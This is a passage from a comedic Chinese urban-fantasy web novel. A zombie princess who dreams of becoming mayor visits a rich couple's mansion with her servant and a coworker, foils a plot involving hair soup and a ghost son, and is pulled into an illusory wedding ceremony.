他话头陡然一顿,凶残的目光瞥了一眼皮貅和张局长,随即绷着嘴不再发声,只是闷头杀招频出,哐哐打拳。
打得肌肉分明,打得青筋暴起,打得浑身生汗,打得胳膊上的痣闪闪发光。
……全都对上了!那个手臂有痣的暴力狂!
不仅顾氏老两口看得两眼发直,辛姬也看得两眼发直,甚至还有点流口水。
她正看得口舌干燥,一个劲儿地在那儿抹嘴,忽然一道身影挡在辛姬面前、把她挤得往后退了几步。
皮貅扭头,嫌弃道:“赶紧把你那口水擦擦,在贵客面前这么失态像什么样?你要是把这一千万投资给搅和黄了,小心我扣你工资!”
辛姬抹嘴的动作一顿,眼前顿时一亮:“工资?我还能拿工资?”
皮貅一愣,立刻拉下嘴角:“没有,临时工前三个月没有工资。”
毕竟他招辛姬进来就是为了顶锅,辛姬现在还处于停薪留职状态,他上哪儿去给辛姬变一份儿工资出来?
然而已经晚了。
辛姬穷苦日子过惯了,平时脑子糊涂,沾钱的事儿是一点不马虎,她一听这话,立刻马步一扎,气沉丹田,嗓音陡然高了八个度:
“没有工资?那我可要闹将起来了!”
当着贵客的面?不像话!
皮貅看了眼顾氏老两口,忽然叹了口气,伸手握住了辛姬的手。
“小辛呐,”他眼中尽是深情,温柔开口,“不是我不想给你发……”
辛姬一下就把皮貅的手给甩开了,丝毫不买账:“那你倒是给我发呀,拉拉扯扯干什么?”
皮貅也不生气,锲而不舍地又握住了辛姬的手,大拇指在她手背上温柔摩挲着,宛如一个完美情人,柔声劝道:“你也看到了,张局长他能力有限……”
不远处,张局长瞥了两人一眼,做作地咳了一声:“咳咳!”
皮貅没管,只是一个劲儿叹气:“咱们局实在是有困难。”
辛姬从喉头发出一声冷笑:“这跟我有什么关系?我是来工作的,不发工资?我才不给你们白做工!”
“不是不发,”皮貅轻轻摇头,纠正道,“是少发,是延发,是调着发,局里一有钱,不就立马给你发了吗?”
打完官腔,皮貅一侧身露出顾氏老两口,低声道:“所以说,局里怎么才能捞到钱?顾氏的投资,咱们必须拿下!这老两口你先好好伺候着。”
辛姬眼神飘忽,想起刚刚她不费吹灰之力就得来的20万,立马赞同点头:“是得哄好他们!”
转念一想,她又觉得不对味:“怎么不是你来伺候?”
皮貅叹气。
他也想挣这个快钱,奈何这是一桩明码标价的权色交易——而他,太帅了。
11. 怒然大勃
这边皮貅安抚着躁动的员工,那边老两口确认郑清心身份后,立马开始追问红包一事。
但无论他们怎么利诱,郑清心都顶着正义的脸庞摇头,义正严词表示——没捡过,就是没捡过!谁来问,他郑清心都不会做这种从地上捡钱昧下的事儿!
周围毕竟人多口杂,而且前边已经从辛姬那儿收了许多溢价红包,顾氏老两口也没再多费口舌,只是表示:“张局长,这两个小年轻非常好哇,投资我们肯定是会投的。”
顾泉河一把扯过张局长,压低声音:“就是希望回头能跟他们俩多接触接触,最好,能让他们来顾家送送温暖……”
哪种接触?哪种温暖?
张局长看顾氏老两口的眼神都有点不对劲儿了。
然而对面老两口完全没空注意张局长,一门心思都在辛姬和郑清心这俩人身上。
临了安庆兰还主动掏出手机,热切地看着辛姬和郑清心:“大家拍个合照吧,留个纪念。”
拍完照之后,顾氏老两口一秒不带多待,急匆匆就走了。
————
夜幕降临,辛姬扛着公文包回到家,她一打开灯,才发现辛德坐在沙发上,神色看起来十分疲惫。
辛姬今天心情好,难得主动发问:“怎么了?”
“我今天面试了十几份工作,没有一份要我,”辛德向来呆滞的眼中此刻充满落寞,“就因为我没有学历、证书和正经的工作经历,之前都是在奶茶店快递站夜总会做临时工……”
辛德掏出一张小卡片,喃喃自语:“实在不行,还是去当意D利黑手党算了,只要敢拼敢打,一定能在地下城混出个头来……就是刚进去可能会有点儿苦,每个月只能拿8毛钱,但听说混到后边日子就好过了……”
这时,一只手按在辛德手上,将卡片缓缓按了下去。
辛德愣愣抬头,只见辛姬居高临下地看过来,脸在白炽灯的照耀下仿佛散发着刺眼的光芒。
“我如果以后要当市长,”辛姬神色悲悯,语气缓慢而坚定,“可不能有一个混过黑手党的秘书!”
辛德宕机几秒,疑惑开口:“……市长?”
辛姬轻叹了口气,自信开口:“你忘了?我如今已是体制内的人了,现在虽身处基层,但再做个十年八年,当市长不成问题!”
辛德愣怔了一瞬,猛然瞪大了眼睛:“真的吗?”
“我可是公主,什么时候说过假话?”辛姬收回手负在身后,居高临下看着辛德,问道,“告诉我,你是想挣这些快钱,还是去跟我搞仕途?”
辛姬这么一句,就这么简单的一句,问得辛德热血沸腾。
辛德猛然想起,新华夏建立后她曾经热火朝天地关注着政治时事,然而因为她不是合法公民,连投票权都没有,甚至……都不能算是个人!
现在公主有望成为市长,从此站在权力的中心,她从小陪伴在公主身边,怎么能错过这次进步的机会?!
眼见辛德眼中重燃希望,辛姬嘴角一扬,忽然将肩上的公文包扬了起来——
“哗啦!”
一沓沓红色大钞洋洋洒洒倾斜而下,漫天的钞票雨震得辛德满脸惊愕,大张着嘴巴再合不住。
下班之后辛姬特地绕远路去银行,把那二十万提现,就是为了此刻!
辛姬边洒钞票边勾唇冷笑:“上班挣了点小钱,这是这个月的开销,你拿去花!”
红钞飘飞间,辛德眼前忽然闪过一幕幕——那是从前过的穷苦日子。
那时候,她和公主1块钱买了5个窝窝头,撑了足足10天,有段时间饿得每天上山挖野菜,果腹的只有野菜糊糊,1块豆腐舍不得吃放到馊,最后吃了顿臭豆腐……
然而现在,辛德恍惚间仿佛看到了辛姬在众人前慷慨演讲、终成市长的振奋场景。
她瞬间热泪盈眶,攥紧拳头表忠心:“公主,我,我永远追随你!”
身为僵尸,分明一天不运动,身体就会僵硬,然而此时的辛德却非常柔软顺滑地跪了下去,一把抱住了辛姬的大腿——显然是被激发出了奴性。
辛姬满意点头。
这,才是能追随她前往权力顶端的忠仆!
两人正沉浸在对未来的美好畅想中,辛姬兜里的手机忽然响了起来,她掏出一看,转身就走。
辛德顺滑倒在地上,愣愣询问:“公主,你去哪儿?”
辛姬回头淡然一笑,神情也带上了政客的从容:“当市长第一步,先去拉点资金。”
这雷厉风行的行动力,彻底感染了辛德,她一抹小脸,脸上疲惫瞬间退却,取而代之的是一股甘为马前卒的冲劲。
“公主不能没有侍女……市长也需要一个秘书!”辛德彻底燃起来了,“公主,我跟你同去!”
一个小时后,顾氏豪宅门前。
辛德将小电驴连同车钥匙一同交到泊车小弟的手中,随即快步走到辛姬身后。
辛姬正在抻身上的西装外套,仰头看向面积宽广的顾氏豪宅,有些感慨:“这房子还挺大。”
看来那老两口比她想象中有钱多了……上午她转账那会儿还是太谨慎了,早知道就该再多按一个零。
辛姬偏头一打量,却是唏嘘摇头:“不及公主您当年府邸的万分之一。”
迎面走过来的管家:“……请跟我来。”
辛姬双手背后,迈起了稳重的四方步,刚走几步,忽然听到身后又传来一阵急匆匆的脚步声,她扭头一看,顿时露出惊愕的表情。
只见郑清心站在不远处,神色诧异还夹杂了几分惊喜:“辛姬?你怎么在这儿?”
辛姬对上那张淳朴天真的笑脸,心下重重一沉:“你呢?你又来这儿做什么?”
郑清心一抬胳膊,左手米面粮油,右手活鸡活鱼,脸上笑容那叫一个灿烂:“我当然是来给两位老人家送温暖的!”
辛姬深深地看了郑清心一眼,没吭声,转头就往豪宅里头走,越走步伐越沉重。
她和郑清心同属基层,郑清心心里想的什么,她再清楚不过——对方十有八九也是来为竞选市长做准备!
市长之争向来如此,什么兄弟姐妹朋友爱人,在权利面前终将反目成仇!就算她对郑清心余情未了……
滔天权势就在眼前,她,绝不会退让!
辛姬转瞬间下定了决心,郑清心却没有察觉到她敌对的态度,紧跟在后边喋喋不休。
“顾老先生刚才给我发消息,说请我来吃个便饭,我想着,人家给咱们街道办投资了那么多,咱总该表示表示。”
“再说两位老人家都这么大年纪了,我听说也没个儿女,无依无靠的多可怜呐……”
辛姬回头瞥了郑清心一眼,对着这个政敌,笑容冷冽而讥讽:“呵呵!”<
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没儿女算什么?有钱儿,儿子这不是就自动送上门来了?
这是来给人送温暖的吗?分明是想靠亲民手段获得民众支持!可惜他这种手段还差得远呢!
官场弯弯绕绕利益相连,可不是仅靠什么虚无缥缈父子母子情就能混得开的地方!
郑清心终将被她斩于马下!
与此同时,辛德快步上前,声音狠戾低沉:“公主,要不要我去处理掉他?”
“不必,我们先公平竞争,假如老两口真选了他……”辛姬眼眸中寒光一闪,一字一句道,“那就让整个顾家从上到下,在京市,消失!”
前边领路的管家脚步一顿,仓惶地回头看了一眼,到底没敢吭声。
监控室里,正透过摄像头监视着辛姬三人的顾氏老两口不由得身形一僵:“……”
“这就是市长的能量吗?手眼通天啊……”顾氏老两口旁边,魂魄状顾珂喃喃自语,“要不等我活过来,也去竞选市长算了。”
顾泉河瞥了顾珂,没吭声。
他们家顶多也就算是土大款,哪有推人当市长的能量?回头等小珂活过来,还得去查查脑子。
五分钟后,辛姬三人终于穿过长长的走廊,顾氏老两口已经站在大厅等候。
看到辛姬那一刻,顾泉河倏地回想起对方刚才放狠话的模样,他不由自主伸出双手,姿态略显敬重:“市长好。”
说完顾泉河才意识到不对劲儿,然而辛姬已经骄傲地挺起胸膛,显然满意得不得了,屈尊降贵伸出一只手,矜持握住他的指尖一晃:
“群众们好。”
位高权重的范儿拿捏得死死的。
安庆兰率先反应过来,一拽顾泉河的手,带着几分私人情绪低声道:“她还没当上市长呢,你巴结个什么劲儿!”
也不怪安庆兰,她一看到辛姬,就想到对方高价卖给她的几十个红包,她和林嫂翻来覆去查了一下午,结果没一个是她儿子的夺命红包。
为这事儿,安庆兰心中始终藏着几分愤懑,说话也不由得阴阳怪气起来。
“还是体制内的人呢,一点都不真诚,你之前给我的那些红包都是什么来头啊?没一个是我需要的……”
政敌在侧,辛姬一下子提起了政治人员的敏感度,立马板着脸冷哼:“什么红包?我一个公职人员,你还想从我这里拿红包?!”
“告诉你们,我可不吃这一套!”
辛姬怒然大勃,转身就走。
顾泉河赶紧打圆场:“没有没有,她乱说的。”
顾泉河拿胳膊肘撞了老伴儿一下,眼神示意道:“你怎么回事儿?今天发短信的时候,你不是忙里忙外准备很多好东西,特别期待人家小辛过来吗?现在又说这个干嘛?”
“什么东西?”辛姬严肃摆手,“别,别拿这些东西考验干部,也别直接送我!”
顾泉河以为自己弄巧成拙,还想再解释。
辛姬却把手背了回去,轻咳一声,简直明示:“我的车篮儿里可还空着呢。”
“那……”顾泉河讷讷开口,“那我这就让佣人去把你的车篮子填满。”
辛姬严肃的表情立马绷不住了,嘴角简直要咧到耳后根,满脸都是丰收的喜悦。
一时间,整个大厅的人都绷不住了。
就这喜怒形于色的模样,还想当市长?迟早给你抓进去!
12. 世代家奴
仗着个芝麻官职耀武扬威,实在太目中无人了!
顾泉河看不惯,但想到后边的事儿,到底是咽下满肚子腹诽,开始张罗:“今天我跟我老伴儿一看见你们,就觉得特别合眼缘,所以才冒昧请你们过来吃顿便饭,饭菜都已经准备好了,大家上桌吧。”
“上桌?”辛姬垂眸,将这两个字在唇齿间细细咀嚼,疑惑发问,“这又是什么行贿新名词?”
……人怎么能满脑子都是这个!
顾泉河捂着嘴连咳嗽带喘了一阵儿,压低声音解释:“不是那个事儿……就只是普通的上桌吃饭而已。”
辛姬顿时发出遗憾的叹息,举步就朝餐厅走,没走几步,却听一阵沙哑响亮的咳嗽声从某处传来。
顾泉河似乎想起什么,赶紧侧身一让,露出身后坐在沙发上一个穿着道袍精神抖擞的老太太。
“不好意思,忘了介绍了,这位是任大师,在我们圈子里非常有名,占卜算卦测风水都……”
顾泉河话还没说完,辛姬上下朝着任大师一打量,眉头立即拧了起来。
“新华夏以后还整这些?真是太封建、太迷信了!”
“我是个无神论者,这辈子相信的只有科学和人民的力量,其他那些神神叨叨的事儿,可不要拿到我面前说!”
辛姬抨击完,还从鼻间发出重重的嗤气声,昂着脖子大刀阔斧往餐厅走,辛德无脑拥护跟着走。
站到一半惨遭无视的任大师,以及顾氏老两口:“……”
唯有郑清心一愣,受到了启迪,双手攥拳,只感觉源源不断的力量从心灵深处涌出,不断构建着他的三观。
是啊,科学的力量,人民的力量!连辛姬这样的千年僵尸都能被感化,他又怎能不拥护这股力量、去构建和谐美好世界?!
这么想着,郑清心心中唯有坚定,大步跟上。
眼看那三人走得比谁都快都稳,顾泉河心力交瘁,赶紧张罗:“咳咳咳,老伴儿,任大师,一起,一起上桌。”
几人一块走进餐厅,仆人刚把餐桌主位的座位给拉开,辛姬一个箭步冲上前坐了下去。
顾泉河慢了一步,站在主位旁巴巴看着辛姬,辛姬坦然抬头看着顾泉河,没有丝毫让位的意思,顾泉河只好一转身坐在了主陪的位置。
众人先后落座,顾泉河轻咳了一声,正想以主人家的身份说几句,忽然看见辛德身姿挺拔站在辛姬身侧,他话头一顿,疑惑开口:“这位……”
辛德低眉顺眼:“小的叫辛德。”
顾泉河:“辛德小姐,你怎么不坐?”
辛德眉目一凛,连连摆手:“哎!我怎么有资格在市长面前落座?”
顾泉河:“……”
不儿、一个二个还真把自己当市长了?!
郑清心还从没参加过饭局呢,闻言赶紧局促地站了起来:“那、那我也站着吃吧……”
顾泉河悔得肠子都青了,恨不得扇自己两嘴巴子。
此情此景,还得是辛姬出面——只见她坦然摆手,大度开口:“坐,都坐!”
郑清心倒是坐下了,辛德却还是死犟着不肯,辛姬当即露出慈爱的目光,谆谆教导。
“现在是新华夏了,不兴什么主啊仆啊这套,你,坐下。”
“哎!”
伴随着命令式语气,辛德感恩戴德地坐下了——更像旧时代的奴隶了。
顾泉河心里咯噔一下。
他年纪虽大,却也不是什么老古董,当然知道什么主啊仆啊艾斯艾慕……可他没想到,他都五十多了,还得当人家play的一环。
辛姬却十分满意,一扭头见顾泉河神色复杂,亲民地主动解释:“她家世世代代都是我家的家奴,从小养成的习惯,没办法。”
这一套说辞轻描淡写,顾泉河却不由得心下一沉。
世代家奴?这种显赫的身份,京市也没有几个,可他之前托人调查辛姬的身份,分明说这小姑娘无父无母、还是外乡逃荒来的孤儿……
等等,逃荒?这都是多少年前的时代老词了,怎么会出现一个年轻小姑娘的身世背景里?
太不寻常了。
顾泉河一时间如坐针毡,连带着看到辛姬那副亲民和蔼的笑容也变了味。
他查到的那些资料,到底是他查到的,还是别人想让他看到的?!
但事已至此,顾泉河心知无法回头,只期望能神不知鬼不觉的把这件事儿给解决掉。
仆人接连将准备好的菜肴端上来,顾泉河疑神疑鬼的同时忘了缓和气氛,氛围霎时有些尴尬。
任大师先是被辛姬无视,这会儿又被冷落,原本沉稳的心不免浮躁起来,迫不及待想找回场子,她不动声色看了一圈周围,忽然朝着辛姬开口:“市长年纪轻轻就爬到了如此高位,未来必将大有作为,我任冬3岁学卜卦8岁摆风水,几十年来也算阅人无数,不如你把八字告诉我,我来帮你看看你的仕途?”
辛姬被头两句奉承夸得飘飘欲仙,顿时忘了刚刚的轻视,抬手就要摸兜:“八字?我不记得了,你等我看看身份证。”
顾泉河刚回神,听见这话,险些没绷住。
记性这么差,就别当市长了吧?!
没等辛姬摸出身份证,辛德已经流利报出准确的数字。
任大师掐指之前谨慎发问:“具体出生在什么时候呢?”
这都一千多年前的事儿了,辛姬脑子又不好使,她哪儿能记得?!
“啪!”
“我记得,”辛德一拍桌子,双眸看向虚空喃喃开口,显然陷入了回忆之中:“公主诞生在子时……”
“哦,半夜十二点啊?”
任大师掐指正要算,却听辛德语速陡然变快:
“那天天门大开、漫天祥瑞,连年干旱的土地降下甘霖,举国上下百花齐放!北域冰川融化,南疆清风徐来!”
顾泉河正要笑:“这么多奇观?”
辛德瞥了他一眼,压低嗓音,话头一转,她青色的面孔上自带一股瘆人鬼气,漆黑的眼珠一动不动,令人心头发毛:
“公主一啼哭,天边十个太阳升起,金龙环绕,御花园中锦鲤口吐人言,说道——‘祥瑞’‘祥瑞’!佛像流泪,墓园诈尸,甚至阴兵借道、万鬼哭嚎……”
辛德长舒了一口气,总结道:“我们公主,天生就是个干大事的人,市长之位,舍她其谁?!”
整个顾家落针可闻,满朝文武无一人敢言,除了志得意满的辛姬,所有人都齐齐看着辛德。
……看看这说得像话吗?前半段还勉强算是上是祥瑞降世,后半段又是万鬼哭嚎又是阴兵闹事的,这像是生了个人吗?
大家闭口不言,尴尬氛围弥漫,唯有任大师闭着眼睛摇头晃头,手指头掐得跟搓钞票一样。
“凶!”万籁寂静中,任大师掐着指头忽而瞪大了双眼,“大凶!”
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>顾泉河沉默了。
要不是他儿子的鬼魂儿现在就在二楼拐角蹲着,他真要以为这个神婆是骗子了……刚才那段话,光听都听出来凶兆了,还用得着算?
正好,仆人将最后一道发菜汤放到桌子正中央,利落地给每人都盛了一碗,顾泉河如释重负般抬手招呼:“别说有的没的了,大家吃饭,吃饭!”
顾泉河率先端起汤,低头看了一眼,只见柔软如黑线的发菜之间有几根明显比较粗短——一赫然是亲儿子顾珂的发茬。
任大师说了,想要救小珂,唯有通过此种方法——只要小珂的头发融入这二人的血骨,任大师立刻就能做法、神不知鬼不觉地斩断这俩暴力狂和小珂的亲缘关系。
为了儿子,拼了!
顾泉河轻不可闻地叹了口气,随即举起碗一饮而尽。
短发茬像鱼刺一样卡在喉咙,顾泉河憋着气狠狠咽了几下,一张口,跟吸了氦气一样嗓音尖锐,还带着点颤音儿:“鲜,这汤真鲜!大家快都喝点吧!”
什么死动静儿,跟忠义似的。
辛姬瞥了顾泉河一眼,没动弹。
郑清心盛情难却,只得硬着头皮端起了碗,他实在不喜欢这种黑漆漆的细密玩意儿,但又不好意思推拒……
碗越凑越近之际,郑清心忽然灵机一动,想起了皮貅曾教导过的推酒小妙招,他眼疾手快拽过旁边擦手的白毛巾塞在领口,随即豪情万丈一点头:“我干了,大家随意!”
“哗啦!”
一碗发菜汤看似流向了郑清心的嘴巴子,实际上全泼到了他胸口那块白毛巾上,郑清心嘴闭得紧紧的,把毛巾往地上一甩,毛巾顿时像块湿透的海绵,“啪”地一下在地上印出了水痕,发茬混着发菜撒了一地。
你不想喝可以……别浪费东西啊!
发茬刺得喉头隐隐作痛,顾泉河眼中似有泪花闪烁,只能将矛头转向辛姬:“辛市长,你也尝尝吧。”
辛姬低头一看,顿时拧眉推开汤碗:“这黑咕隆咚什么东西?我不喝。”
“喝喝看吧,可鲜了,发菜的营养价值高着呢。”
不光顾泉河,安庆兰也开始劝,这时辛德忽然站了起来,微微一笑,带着市长近臣的骄傲:“市长从小就不喝有颜色的汤,我来给市长盛汤吧。”
说着,她将汤勺缓缓沉入发菜汤中。
辛德手纹丝不动,唯有手肘绕圈搅拌,仿佛顺着特定的轨迹运行,随着她胳膊的转动,发菜汤竟形成一股强有力的漩涡,所有发菜排列整齐顺汤流动,而漩涡中央,竟有一股清泉汩汩涌出!
“唰!”
辛德眼疾手快拿勺一舀,随即拉茶一样高高举起汤勺,将所有澄清汤水尽数倒在一个空碗里。
顾氏老两口连带着任大师都大张嘴巴,眼睁睁看着那汤固液分离。
“还好,以前的手艺没有丢,”辛德松了一口气,将澄清汤水推到辛姬面前,“市长,您尝尝?”
众目睽睽之下,辛姬矜贵垂眸,舀了一勺汤凑到嘴边,随即却一拧眉,又将勺子扔了回去。
“一股腥气,我不喝。”
眼见辛姬不配合,安庆兰脸色一沉。
今天他们都这么大费周章了,绝不能无功而返!
随着安庆兰倏然起身,辛姬冷眼瞧着,双手抱胸,冷哼一声。
穷山恶水出刁民,可惜她已经不是娇滴滴的公主。
她如今,是市长!
13. 铁树开花
不管是身份是市长还是公主,总之辛姬目光如炬,姿态令人胆寒。
然而安庆兰救子之心更为强烈,她夹了一筷子汤盆里卷在一起的发菜,咬咬牙,一口塞进嘴里。
混着发茬的发菜像一块砂纸一样在她的嗓子里边摩擦落下,安庆兰挤出笑容,一开口声音低了八个度:“嫩,真嫩!大家都吃,都吃!”
说完,安庆兰直接夹了一筷子发菜到辛姬碗里,又起身走到辛姬身后,手按着辛姬的肩头,看似热情劝说,实际有几分施压的意思:“我都吃了,你也吃吧。”
辛姬感受到肩上的压力,眼中闪过几分冷意。
她哪受过这样的压迫!
辛姬“啪”地一下直接摔了筷子,脸色一沉:“你敢威胁市长?今天这饭没法吃了!辛德,咱们走!”
辛姬刚站起来,楼梯上忽然跳下来一道黑影。
顾珂神色狰狞,径直抓起汤盆里剩下的发菜:“今天你们不吃也得吃!”
发完狠话,顾珂直接朝着辛姬冲去。
顾氏老两口早就知道事情可能会发展到这种程度,然而看到顾珂这幅似鬼非人的凶残样子,还是不忍地偏过头——只要小珂能活过来,什么代价,他们都愿意付出!
丝毫没想过现在要付出代价的根本不是他们两人。
郑清心还好好地吃着饭呢,突然撞见个猛鬼,立刻神色大惊摔了筷子,一下冲到了顾氏老两口面前挡住:“怎么有恶鬼?别怕!我来保护你们!”
这小伙子能看见小珂?!
安庆兰一惊,正想说话,顾泉河忽然重重攥住了她的手腕,夫妻俩对了个眼神,都没再吭声。
而顾珂已经狞笑着冲了过来,眼看大战一触即发——
辛姬动都没动,忠仆辛德闪身到辛姬身边,“唰”地一下抽出皮带,奋力一甩直接就把顾珂抽飞。
这边郑清心拉开运动服外套掏出个2mX2m的布制印刷大符篆往地上一摆,吆喝着把顾氏老两口和任大师都赶了进去,抬头看见辛姬辛德正把顾珂咔嚓几下折成秋千摇荡,他一个电话拨给了皮貅。
捉妖局里,张局长刚驱车离开,工贼皮貅一扔文件夹,转身正要走,手机忽然叮叮当当响了起来,他边走边接,眨眼间就要蹿出办公室,几秒后忽然折返回来,幸灾乐祸地敲了敲秦英的桌子:“走走走,郑清心那边遇上恶鬼了,赶紧跟我出外勤!”
“哗啦”几声,秦英从各种堆积文件中抽出身,他顶着一张因吐丝加班过度劳累而沧桑如中年的老脸,站起来正想走,却见皮貅探身一抻胳膊,不知从哪儿捞出一瓶啫喱喷雾。
“呲呲”几声,呛人烟雾弥漫四周,皮貅麻利地捋了个帅气发型,脑袋一甩,雄赳赳气昂昂,满脸都是丰收的喜悦:“下班了还有外快赚,爽啊!”
————
郑清心还不知道到手的功劳即将被抢,做好一切报备流程,放下手机一抬头,就见那边已经开发出了新的玩法。
辛姬正把顾珂当成滑板,进行着一场动人心弦的前列腺刹车。
恶鬼顾珂被折磨得不成人形,完全没有了刚开始那副嚣张猖狂的模样,这会儿子趴在地上哞哞哭泣,颤声挤出一声:“妈……妈……”
妈妈?
辛姬微不可察地叹了口气,心生感慨。
刚出生的小羊羔也会跌跌撞撞奔向老羊,母爱的伟大无法言说,就连这丧尽天良的恶鬼,临死之际也要叫娘,她这枯涸千年的心房随着这一声声惨叫,都不由得老木发芽、铁树开花。
辛姬看着顾珂的眼神不由得带上几分怜爱,温柔伸手薅住他的头发,抡圆胳膊啪啪啪就是几个嘴巴子,狞笑的嘴脸凑到顾珂耳旁,看着比恶鬼还要瘆人几分:“叫妈,也没用啊!”
安庆兰把一切都看在眼里,没忍住发出了一声长长的啜泣。
郑清心回头,看着这位柔弱的市民和善安慰道:“别怕,这鬼,他好不了了!”
话音刚落,郑清心背后传来一阵阴风怒号,瞬间整个房间都黯淡无光。
“还有同伙?!”郑清心警惕看去,赫然发现任大师不知何时走出他的符篆,手拿一沓符篆摆了一个阵法,还差一角便要完工,郑清心顿时神色大惊。
辛姬撂下恶鬼的半条腿,也是表情一变,古怪地看着任大师:“怎么是这个阵?”
“怕?怕就对了!”任大师哈哈大笑,粗粝阴森的嗓音在餐厅中回荡,“今天你们谁也跑不了!”
辛姬却是长叹了一声,幽幽开口:“上次看到这个阵……已经是50年前了,没想到现在还有人摆这么传统的阵。”
郑清心也是满脸唏嘘,眼神中透着对差生的同情:“上次看到这阵,还是我爷爷摆的,捉妖局最老的教材都不纳入了。”
辛姬缓缓踱步走过去,任大师顿时慌乱起来,赶紧拿着符篆拼命补全最后的部分:“等等,你先别过来,我马上好了……你先别过来,别过来!”
辛姬哪儿能听?“啪啪啪”几下就把任大师刚贴了一圈的符篆全给拽了出来,攥成一团握在掌心,符篆顷刻生效,滋啦滋啦灼烧着她的皮肉,辛姬掌心瞬间被烫得焦黑。
任大师瞳孔猛缩,手上符篆脱落,整个人大惊失色:“你?!你是凶煞!”
辛姬咧嘴一笑:“你不是算出来了吗?”
凶,大凶啊!
郑清心咽下唏嘘,眼眸中流露出几分怜悯,抬脚就朝任大师走去:“你帮助恶鬼为祸人间,破坏阴阳平衡,我现在根据捉妖局第八条局规将你逮捕,不准抵抗!否则……”
郑清心话音未落,却见垂头丧气的任大师猛地跳起,同时从怀里掏出一张硕大的符篆狠狠往天上一抛。
郑清心瞳孔猛缩,伸手就要抓,却终究晚了一步。
符篆瞬间涨大的同时“砰”地一声冲破房顶,璀璨金光自符面倾洒而下,将整个顾家庄园都笼罩在内。
辛姬大张着嘴巴,发出一声毫无感情的:“哇!”
下一瞬,便和整个顾家其他人一样被金光吞没。
————
“哔哔~哔哔~”
唢呐配着腰鼓大擦,吹吹打打声响个不停,顾氏大厅内张灯结彩,墙上贴满了“喜”字,大厅门外却是一片夜色深沉。
顾家庄园内所有人齐聚一堂,众人面面相觑,皆是神色茫然。
“我不是在炒菜吗?”厨师疑惑地低头看手,“怎么跑这儿来了?”
保姆同样神色茫然:“是啊,我刚还在给大少爷擦身子……大少爷?”
保姆视线的尽头,只见喜堂前方放着一张红木座椅,本该是植物人的顾珂靠在座椅上有气无力地看了保姆一眼,那气若游丝的姿态,那苍白发青的脸蛋,仿佛随时能噶。
任大师不知道什么时候走到了顾氏老两口身边,一拍两人的肩膀,低声道:“老爷夫人别担心,冲喜的就快来了……过了今天,大少爷一定会好的。”
她的这句话仿佛一颗石子抛入湖中,引起一片涟漪——所有的人瞬间恍然大悟,纷纷附和起来。
“恭喜恭喜啊,顾老爷顾老夫人真是有福气!”
“冲完喜,顾少爷的病一定
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会好的。”
“顾大少爷洪福齐天,顾大少爷仙寿永存!”
顾氏老两口简直笑得合不拢嘴,拱手回礼:“同喜,同喜!”
任大师看着眼前诡谲的一幕,心中十分满意。
虽然她没想到顾氏老两口请来的是同行,一时不察差点被对方压制……但幸好她早有准备。
这张符篆可是真人亲赐,一旦接受这幻境中的设定,就会沉迷于此忘却真实世界的一切,一时半会绝不会有人能逃出去,而她,得趁此机会将这里的情况传给真人寻求庇护才行……
任大师刚掏出一张符篆,就听外头忽然传来一阵鞭炮声,伴随着一阵热闹的喊声:
“新娘子来了!新娘子来了!”
任大师匆匆点燃符篆送出消息,抬头露出笑容迎接喜轿……结果八个强壮的顾家佣人吭哧吭哧抬着一顶描龙画凤的大轿走进了大厅?!
大轿左前方,辛德“啪”地一甩长鞭,粗眉冷目不怒自威,大轿右前方,郑清心揣着绣春刀小嘴一勾眸如鹰隼。
辛姬端着范儿走出轿子,身上还穿着她来时那身中山装。
整个场面中不中、西不西、新不新、古不古。
怪,真怪!
然而辛姬适应良好,甚至冷眼扫遍全场,眉头一拧,天潢贵胄的威压顿现:“大胆!见到本公主,竟敢不跪?”
“啪”地一声,辛德手中长鞭瞬间打碎一块儿青石板,身形板直像个高傲的民间艺人,凶恶的眼神却誓要将一切粉碎:“不跪……就把你们的腿都打断!”
“公主?”顾泉河目光扫过那张威严的脸,心底不知为何涌出一股对顾家破产的恐惧,立刻诚惶诚恐磕头拜见,“贱民顾氏拜见公主,拜见公主!”
他这一跪,跟多米诺骨牌似的,整个大厅里的人呼啦呼啦全跪了下去,一个劲儿地大喊“公主吉祥”。
辛姬顿时露出满意的神色,同时也将视线投向了全场最后一个反骨仔。
任大师对上辛姬冷冽的眼神,一咬牙,也跟着跪了下去,膝盖落地的瞬间,她感觉自己高洁的灵魂都被折辱了。
这时郑清心却暴戾抽刀,大跨步走向靠在红木座椅上撇嘴冷笑的顾珂:“蔑视公主,论罪当斩!”
“哎!”辛姬摆了摆手,大度道,“本公主大喜的日子,怎么能见血?”
她朝辛德使了个眼色,这位陪伴多年的得意心腹立刻快步走到顾珂旁边,抬腿一扫,颇具巧劲和观赏度地直接把顾珂从榻上扫了下来。
“噗通!”
顾珂整个人从榻上翻了下来,不光膝盖,连脑袋也“咣当”一声重重磕在了地上,感觉头骨都要裂了。
他脑袋顶着地面,咬碎银牙,他好不容易在幻境中有了实体,不能动弹已经够委屈的了,还被人这样践踏?!
顾珂恨恨说道:“三十年河东,三十年河西……”
“啪”地一下,辛姬一脚踩在顾珂背上,把他未尽之言全踩进了地里。
辛姬不满嚷嚷:“驸马呢?本公主屈尊降贵光临寒舍,驸马怎么还不过来接驾?”
顾泉河擦着冷汗讷讷不敢吭声,安庆兰到底心疼儿子,长长地啜泣了一声:“公主……”
“哎!公主大喜,谁都不准哭!”辛德指着安庆兰冷喝,“憋回去!”
安庆兰捂着嘴咽下哽咽,飞速回答:“趴在地上那个就是驸马。”
辛姬低头一看,正对上顾珂那张泪汪汪的腌臜小脸,她顿时大惊失色:“这么丑?赶紧给本公主换!”
“给我找十个男人来!”
14. 清心寡欲
要男人就算了,还一下要十个?多大瘾呐!
藏在人后的任大师听得一愣一愣的,而顾泉河已经抓住机会勇敢站了出来——这就是打工人和老板的差距。
“公主吩咐,贱民万死不辞,”顾泉河此时已经完全忘记了趴在地上被蹂躏践踏的亲儿子,满脸为皇家办事与有荣焉的喜气洋洋,“去,所有人都出去找,给公主找十个帅气男人回来!”
所有人瞬间倾巢出动,张牙舞爪在整个顾氏庄园内乱窜,一时间叫唤着“男人”“男人”“哪儿有男人”的声音不绝于耳。
这宏大的场面,令辛姬忍不住发出一声满意的喟叹,随即她的目光就落在了郑清心身上。
要说最符合辛姬审美的,还得是身材威猛脸蛋淳朴反差感拉满的郑清心——可惜人家现在是御前侍卫。
她,是公主,他,搞仕途。
辛姬打心底里明白,无论她再怎么喜欢,都不能阻碍一个有志青年的雄心壮志!
恋恋不舍地看了一眼,又一眼,辛姬终究理智战胜邪恶,掐灭了对御前侍卫强制爱的歪心思。
然而下一秒,她的视线忽而凌厉,定定看向了任大师:“你怎么不去抓男人?”
任大师霎时汗毛直立,心中天人交战。
